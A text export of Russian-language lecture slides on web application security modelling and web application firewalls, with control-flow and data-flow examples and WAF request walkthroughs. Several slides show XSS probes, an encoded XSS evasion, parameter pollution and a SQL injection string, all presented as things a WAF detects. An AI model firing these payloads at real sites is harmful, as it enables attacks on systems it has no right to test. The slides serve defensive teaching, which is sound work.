    ЗаголовокПотоки управления (пример7/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 31.
    ЗаголовокПотоки управления (пример8/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 32.
    ЗаголовокПотоки управления (пример9/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 33.
    ЗаголовокПотоки управления (пример10/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 34.
    ЗаголовокПотоки управления (пример11/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 35.
    ЗаголовокПотоки управления (пример12/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 36.
    ЗаголовокПотоки управления (пример13/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 37.
    ЗаголовокПотоки управления (пример14/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 38.
    ЗаголовокПотоки управления (пример15/15) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 39.
    Заголовок Потоки выполнения приложенияявляются производными от потоков данных окружения Потоки данных
  • 40.
    ЗаголовокПотоки данных (пример1/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 41.
    ЗаголовокПотоки данных (пример2/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 42.
    ЗаголовокПотоки данных (пример3/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 43.
    ЗаголовокПотоки данных (пример4/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 44.
    ЗаголовокПотоки данных (пример5/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 45.
    ЗаголовокПотоки данных (пример6/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 46.
    ЗаголовокПотоки данных (пример7/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 47.
    ЗаголовокПотоки данных (пример8/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 48.
    ЗаголовокПотоки данных (пример9/9) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 49.
    Заголовок Множество всех возможныхзначений потока данных в конкретной точке потока выполнения определяет его состояние Состояние потока данных
  • 50.
    ЗаголовокСостояние потока данных(пример) var name = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); } str1 ∈ { Encoding.UTF8.GetString(data), "Wrong Key!" }
  • 51.
    Заголовок Множество состояний всехпотоков данных в конкретной точке потока выполнения определяет состояние приложения Состояние приложения
  • 52.
    ЗаголовокСостояние приложения (пример) varname = Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); } str1 ∈ { Encoding.UTF8.GetString(data), "Wrong Key!" } name ∈ { Request.Params["name"] } key1 ∈ { Request.Params["key1"] } parm ∈ { Request.Params["parm"] } data ∈ { new char[0], Convert.FromBse64String(parm) }
  • 53.
    Заголовок Граф переходов междусостояниями приложения определяет все возможные потоки вычисления и является искомой моделью процесса его выполнения Граф потоков вычисления
  • 54.
  • 55.
    ЗаголовокГраф потоков вычисления(пример 2/7) ε { parm' { ε Request.Params["parm1"] } }
  • 56.
    ЗаголовокГраф потоков вычисления(пример 3/7) Request.Params["cond1"] == "true" { parm' { ε Request.Params["parm1"] } }
  • 57.
    ЗаголовокГраф потоков вычисления(пример 4/7) Request.Params["cond1"] != "true" { parm' { Request.Params["cond1"] != "true" Request.Params["parm1"] } }
  • 58.
    ЗаголовокГраф потоков вычисления(пример 5/7) Request.Params["cond1"] != "true" && Request.Params["cond2"] == "true" { parm' { Request.Params["cond1"] != "true" Request.Params["parm1"] } }
  • 59.
    ЗаголовокГраф потоков вычисления(пример 6/7) Request.Params["cond1"] != "true" && Request.Params["cond2"] != "true" { parm' { Request.Params["cond1"] != "true" Request.Params["parm1"] } }
  • 60.
    ЗаголовокГраф потоков вычисления(пример 7/7) Request.Params["cond1"] != "true" { parm' { Request.Params["cond2"] == "true" Request.Params["parm2"] || Request.Params["cond2"] != "true" "<div>Harmless value</div>" } }
  • 61.
  • 62.
    Заголовок Приводимые далее терминыи определения локальны и не претендуют на признание в качестве общеупотребительных. Тем не менее, они устраняют существующие разночтения и противоречия в традиционной терминологии, позволяя перейти от интуитивных формулировок к формальным Disclaimer
  • 63.
    Заголовок Театр начинается свешалки, а незащищённость ИС – с её недостатков С чего начнём?
  • 64.
    Заголовок Неэффективная реализация процессоввычисления, логики предметной области или конфигурации окружения ИС Недостаток
  • 65.
    Заголовок Обусловленная недостатком возможностьнарушения свойств состояния защищенности информационного потока: • конфиденциальности • целостности • доступности • авторизованности • аутентичности Угроза
  • 66.
  • 67.
    Заголовок Конкретный способ реализацииугрозы (эксплуатации {состояния} уязвимости) Атака
  • 68.
  • 69.
    Заголовок Состояние приемлемого рискареализации любой угрозы Безопасность
  • 70.
    Заголовок То, что можетсделать атакующий с потоками информации, называется угрозой (threat) То, когда и благодаря чему он может это сделать, называется уязвимостью (vulnerability), обусловленной недостатком (weakness) Иными словами
  • 71.
    Заголовок То, как онможет это сделать, называется атакой (attack) То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk) Иными словами
  • 72.
    Заголовок То, что непозволяет атакующему провести атаку, обеспечивает защищенность (security) То, что минимизирует риск, обеспечивает безопасность (safety) Иными словами
  • 73.
  • 74.
  • 75.
  • 76.
    Заголовок • Потоки операцийявляются и информационными потоками, и сущностями модели основной предметной области приложения • Потоки вычисления являются и информационными потоками, и сущностями предметной области защищённости приложения • Потоки данных окружения являются и информационными потоками, и сущностями модели окружения А теперь – всё вместе
  • 77.
    Заголовок • Недостаток –неэффективная реализация моделей предметных областей приложения или окружения (контролей инвариантов их сущностей) Примеры контролей: • предварительная обработка потоков данных • подтверждение аутентичности потоков операций • проверка прав доступа к потокам данных • обеспечение целостности потока операций • … А теперь – всё вместе
  • 78.
    Заголовок • Уязвимость приложения– состояние возможности нарушения конфиденциальности, целостности, доступности, аутентичности или авторизованности любого из потоков операций или вычисления приложения, а также потоков данных окружения • Состояние защищённости приложения возникает при невозможности эксплуатации в нём любой уязвимости А теперь – всё вместе
  • 79.
    Заголовок • Вычислительный –уязвимости, описываемые в терминах модели процесса выполнения приложения • Логический – уязвимости, описываемые в терминах модели предметной области приложения • Экзогенный – уязвимости, описываемые в терминах модели окружения Суперклассы уязвимостей приложения
  • 80.
    Заголовок «Не сегодня!» Что мыскажем логическому и экзогенному классам?
  • 81.
    Заголовок Атаки на нарушениецелостности потоков данных в результате их преобразования принято называть инъекциями Тип инъекции определяется грамматикой атакуемого потока данных (HTML, XML, SQL, XPath, XQuery, LDAP, LINQ, Path, …) Вычислительный класс: инъекции
  • 82.
    Заголовок «Пусть C –граф потоков вычисления приложения. Пусть pvf(t) – достижимая вершина потока управления на C, являющаяся вызовом функции прямой или косвенной интерпретации текста t, соответствующего известной формальной грамматике G. Пусть e – поток аргумента входных данных на С. Пусть De – множество потоков данных на C, порождаемых от e и достижимых в точке вызова pvf(t), где t принадлежит De» Моделирование инъекций (1/3)
  • 83.
    Заголовок «Тогда приложение уязвимок угрозе нарушения целостности потоков данных De в точке выполнения pvf(t), если среди них найдётся хотя бы одна пара таких значений, при которых, в результате их синтаксического разбора в соответствии с грамматикой G, получаются не изоморфные друг другу деревья разбора» Моделирование инъекций (2/3)
  • 84.
    ЗаголовокМоделирование инъекций (3/3) TheEssence of Command Injection Attacks in Web Applications (http://web.cs.ucdavis.edu/~su/publications/popl06.pdf)
  • 85.
    Заголовок Несогласованная работа сразделяемым ресурсом в многопоточном окружении приводит к гонкам за ресурс Окружение любого веб-приложения является многопоточным Вычислительный класс: гонка за ресурс
  • 86.
    Заголовок Пусть P –сеть Петри, построенная по C, где переходами сети являются все промежуточные вершины C, позициями – его вершины, соответствующие операциям чтения или записи каждого ресурса окружения, а условиями перехода – условия достижимости соответствующих вершин C Тогда, возможность появления более одной метки в любом состоянии графа маркировок P укажет на возможность реализации угрозы нарушения целостности или аутентичности потока вычисления Вычислительный класс: гонка за ресурс
  • 87.
    Заголовок • Направлены нареализацию угрозы (нарушение одного из свойств защищённости какого-либо потока вычисления, операций или данных окружения) • Могут являться как производными от предыдущих атак, так и первообразными для последующих. Например: • HTTP Response Splitting → Header Spoofing → Session Fixation Unvalidated Redirection Body spoofing → Content Spoofing Session Fixation Unvalidated Redirection Cross-Site Scripting … Свойства атак
  • 88.
    ЗаголовокКлассификация Классификация, объединяющая уязвимостивсех классов, опирается на признаки: • предметная область • недостаток • атакуемый поток • угроза
  • 89.
    ЗаголовокКлассификация: инъекции Признак Значение Предметнаяобласть Защищённость приложения Недостаток Неэффективная обработка потоков данных Информационный поток Поток данных, интерпретируемый окружением Угроза Нарушение целостности
  • 90.
    ЗаголовокКлассификация: спуфинг потокаопераций Признак Значение Предметная область Защищённость приложения Недостаток Неэффективное подтверждение аутентичности идентификатора потока операций Информационный поток Поток операций Угроза Нарушение аутентичности
  • 91.
    ЗаголовокКлассификация: переполнение буфера ПризнакЗначение Предметная область Защищённость приложения Недостаток Неэффективный контроль записи производных потоков окружения в память Информационный поток Метаданные на стеке или в куче Угроза Нарушение целостности
  • 92.
    ЗаголовокКлассификация: обход бизнес-логики(частный случай) Признак Значение Предметная область Онлайн-торговля Недостаток Неэффективный контроль использования купонов на скидку Информационный поток Поток операций транзакции оплаты заказа Угроза Нарушение авторизованности
  • 93.
  • 94.
    Заголовок • Введение • ТеорияWAF • Методы защиты веб-приложений • Аутентификация веб-форм • Обнаружение инъекций • Встроенное распознавание • Виртуальный патчинг # План
  • 95.
    Заголовок • Учебно-демонстрационный межсетевойэкран веб-приложений • Shockfish WAF • https://github.com/PositiveTechnologies/shockfish • Shockfish.js Client-side WAF • https://github.com/PositiveTechnologies/shockfish.js # Shockfish
  • 96.
  • 97.
    Заголовок Веб-приложение – клиент-серверноеприложение, в котором клиентом является веб-браузер, сервером – веб-сервер, а протоколом взаимодействия между ними – веб-протокол Базовый состав • Веб-браузер • Веб-сервер / Сервер приложений • СУБД Определение
  • 98.
    Заголовок Огромное количество технологийи их реализаций Простота использования Доступность и распространенность Низкий порог входа • Для разработчиков • Для пентестеров / баг-хантеров • Для злоумышленников Особенности
  • 99.
    Заголовок Необходимо построить многоуровневуюзащиту В принципе невозможно устранить уязвимость в самом приложении • Legacy • Third-party Необходимый механизм защиты отсутствует или сложно реализуем • Защита от подбора паролей • Управление доступом • Защита от нежелательной автоматизации Необходимо немедленно устранить обнаруженную уязвимость до ее реального устранения в исходном коде А что если …?
  • 100.
    Заголовок В 1990-х годахактивно используется принцип внешнего монитора безопасности Текущий подход: разрабатывать приложения защищенными, а не полагаться на внешние механизмы защиты Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при этом с ума Как правильно защищать приложения?
  • 101.
  • 102.
    Заголовок • An appliance,server plugin, or filter that applies a set of rules to an HTTP conversation • A security solution on the web application level which does not depend on the application itself • A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components Что такое WAF? Web Application Firewall Evaluation Criteria
  • 103.
  • 104.
    Заголовок Развертывание: • Bridge • Router •Reverse proxy • Embedded • Out-of band (SPAN/RSPAN) Доставка: • Hardware integrated • Appliance • Claud • Software-only (software, web-server module, middleware, … ) • Software integrated (RASP) Классификация
  • 105.
    Заголовок Detective • Первичная валидацияданных (методы, длина запроса, длина и число заголовков, …) • Обнаружение инъекций Mitigative – ослабление атак, от которых трудно защититься • Проверка на соответствие RFC • Аутентификация сообщений • Шифрование URL или скрытых полей • Маскирование данных • Блокирование IP-адреса или завершение сессии Предотвращение (prevention) – предотвращение использования обнаруженных уязвимостей • Виртуальный патчинг Механизмы защиты
  • 106.
  • 107.
    Заголовок • Валидация HTTP-запроса(метод, длина запросов, количество заголовков и т. д.) • Нормализация HTTP-запроса (HTTP Parameter Pollution & Contamination) • Обнаружение инъекций (SQLi, LDAP, XPath и т. д.) • Парсинг данных (XML, JSON, AMF и т. д.) • Проверка репутации IP Обработка запросов
  • 108.
    Заголовок Обнаружение утечек данных: •stack traces • debug information • application errors Обнаружение недостатков конфигураций: • отсутствие заголовков безопасности • небезопасная политика CSP • небезопасная конфигурация SSL/TLS Обработка ответов
  • 109.
    Заголовок Корреляция запросов иответов HTTP: • обнаружение отражения параметров запроса в ответе (Reflected XSS, Open Redirect, HTTP Response Splitting) • обнаружение успешной эксплуатации уязвимости (например, наличие вектора Path Traversal в запросе и содержимого файла /etc/passwd в ответе) • User tracking – ассоциирование запросов и ответов с учетными записями пользователей защищаемого веб-приложения Обработка транзакций
  • 110.
    Заголовок • Credentials bruteforcing •Site scraping • Common vulnerability scanning • Account takeover • HTTP slow DoS attacks • L7 DDoS • Fraud Механизмы защиты реализуются на основе машинного обучения или счетчиков (например, max requests per second, max 404 errors per minute и т. д.) Поведенческий анализ
  • 111.
    Заголовок Теория • Теория формальныхязыков • LangSec Практика • Модель черного ящика • Множество технологий • Отсутствие стандартов • Развитие клиентских частей веб-приложений Источники ограничений
  • 112.
    Заголовок Входные данные –формальный язык WAF – универсальный распознаватель (recognizer) языков атак на веб-приложения Можно распознать эквивалентный или менее мощный язык Теория формальных языков Грамматика Распознаватель Типа 0 Машина Тьюринга Контекстно-зависимая Линейно-ограниченный автомат Недетерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Детерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Регулярная Конечный автомат LangSec: Language-theoretic security
  • 113.
    Заголовок Недостаточное (неэффективное) распознавание(insufficient recognition) • Распознавание КС-языка с помощью регулярного выражения Различимость парсеров (parser differentials) • Одни и те же входные данные распознаются парсерами по-разному Входные данные сложнее, чем детерминированный контекстно- свободный язык Проблемы M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them
  • 114.
    Заголовок Предположение. Язык инъекцийКС-языка является как минимум КЗ-языком • ' or '1 ' = '1 Язык инъекций как минимум содержит цепочки (вектора) целевого языка, а значит, является КС-языком • select * from foo where id = <injection> • (select ((1))) При этом префикс и постфикс являются контекстно-зависимыми Проблемы
  • 115.
    Заголовок Веб-приложение для WAF– это просто последовательность запросов и / или ответов Непонимание контекста Непонимание логики взаимодействия • Боты • Взлом аккаунта • Злоупотребления (abuse / misuse) Модель черного ящика
  • 116.
    Заголовок • HTTP (0.9,1.0, 1.1, 1.2), WebSockets • SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP • Load Balancers: F5 BIG-IP, Citrix NetScaler, … • Web-servers: Apache, Nginx, IIS, GWS, Jetty, … • Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, … • SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, … • noSQL «Databases»: MongoDB, ElasticSearch, Redis, … • Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, … • JavaScript libraries: jQuery, lodash, … • JavaScript Frameworks: Angular, React, Ext.js, Ember.js, … • HTML, CSS, XML, JSON Множество технологий
  • 117.
  • 118.
    ЗаголовокМинута из жизниWAF CATS /app?pageId=1 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 119.
    ЗаголовокМинута из жизниWAF CATS /app?pageId=1 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 120.
    ЗаголовокМинута из жизниWAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 121.
    ЗаголовокМинута из жизниWAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 122.
    ЗаголовокМинута из жизниWAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 123.
    ЗаголовокМинута из жизниWAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  • 124.
    ЗаголовокМинута из жизниWAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  • 125.
    ЗаголовокМинута из жизниWAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 function getID(request) { var rawID = request.getValue('id'); var id = hexdecode(base64decode(rawID)); return id; } // rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d // id = <script>alert(1)</script> Исходный код
  • 126.
    ЗаголовокМинута из жизниWAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <script>alert(1)</script>
  • 127.
    ЗаголовокМинута из жизниWAF GET /app?callback=delete_user_data HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <html><body><script type="text/javascript"> window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234 ","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
  • 128.
    ЗаголовокМинута из жизниWAF GET /app?callback=delete_user_data HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <html><body><script type="text/javascript"> window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234 ","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
  • 129.
    ЗаголовокМинута из жизниWAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  • 130.
    ЗаголовокМинута из жизниWAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  • 131.
    ЗаголовокМинута из жизниWAF POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  • 132.
